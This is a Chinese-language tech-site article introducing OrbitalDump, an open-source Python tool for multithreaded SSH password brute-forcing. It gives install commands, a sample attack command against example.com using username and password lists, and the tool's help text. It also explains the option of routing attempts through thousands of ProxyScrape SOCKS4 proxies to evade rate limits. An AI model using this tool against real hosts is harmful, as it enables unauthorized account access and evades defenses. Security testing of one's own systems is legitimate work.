栏目分类:
子分类:
返回
终身学习网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
终身学习网 > IT > 前沿技术 > 云计算 > Docker/k8s

OrbitalDump:功能强大的多线程分布式SSH爆破工具

Docker/k8s 更新时间:发布时间: 百科书网 趣学号



关于OrbitalDump

OrbitalDump是一款功能强大的多线程分布式SSH爆破工具,该工具基于纯Python开发,可以帮助广大研究人员分析SSH相关的安全问题。

工作机制

当该脚本在没有使用“--proxies”参数执行的时候,它将直接执行多线程SSH爆破攻击脚本。如果添加了“--proxies”参数的话,该脚本将会从ProxyScrape获取大量SOCKS4代理(数千个),并通过SOCKS4代理来执行所有的暴力破解攻击,因此整个暴力破解攻击尝试并不会受到目标主机在速率方面的限制。

工具安装

在使用该工具前,请先确保本地主机已经安装并配置好了Python环境。接下来,广大研究人员就可以直接使用pip来安装OrbitalDump了:

  1. pip install -U --user orbitaldump  
  2. orbitaldump 

除此之外,广大研究人员也可以使用下列命令将该项目源码克隆至本地,并直接运行源码:

  1. git clone https://github.com/k4yt3x/orbitaldump.git  
  2. cd orbitaldump  
  3. python -m orbitaldump 
工具使用

该工具支持的命令如下:

-t 10:启动10个暴力破解线程; -u usernames.txt:从usernames.txt文件中读取用户名,每个用户名单独占一行; -p passwords.txt:从passwords.txt文件中读取用户名,每个密码单独占一行; -h example.com:将暴力破解攻击目标设置为example.com; --proxies:通过ProxyScrape的代理来执行攻击;

  1. python -m orbitaldump -t 10 -u usernames.txt -p passwords.txt -h example.com --proxies 
工具完整使用

广大研究人员可以使用--help参数来获取OrbitalDump所能执行的所有操作:

  1. usage: orbitaldump [--help] [-t THREADS] [-u USERNAME] [-p PASSWORD] -h HOSTNAME [--port PORT] [--timeout TIMEOUT] [--proxies]  
  2.    
  3. optional arguments:  
  4.   --help                显示帮助信息并退出  
  5.   -t THREADS, --threads THREADS  
  6.                         需要使用的线程数量 (默认: 5)  
  7.   -u USERNAME, --username USERNAME  
  8.                         用户名文件路径 (默认: None)  
  9.   -p PASSWORD, --password PASSWORD  
  10.                         密码文件路径 (默认: None)  
  11.   -h HOSTNAME, --hostname HOSTNAME  
  12.                         目标主机名 (默认: None)  
  13.   --port PORT           目标端口 (默认: 22)  
  14.   --timeout TIMEOUT     SSH超时(默认: 6)  
  15.   --proxies             使用ProxyScrape的SOCKS代理 (默认: False) 
工具运行演示



项目地址

OrbitalDump:【GitHub传送门】

 

转载请注明:文章转载自 www.051e.com
本文地址:http://www.051e.com/it/796772.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 ©2023-2025 051e.com

ICP备案号:京ICP备12030808号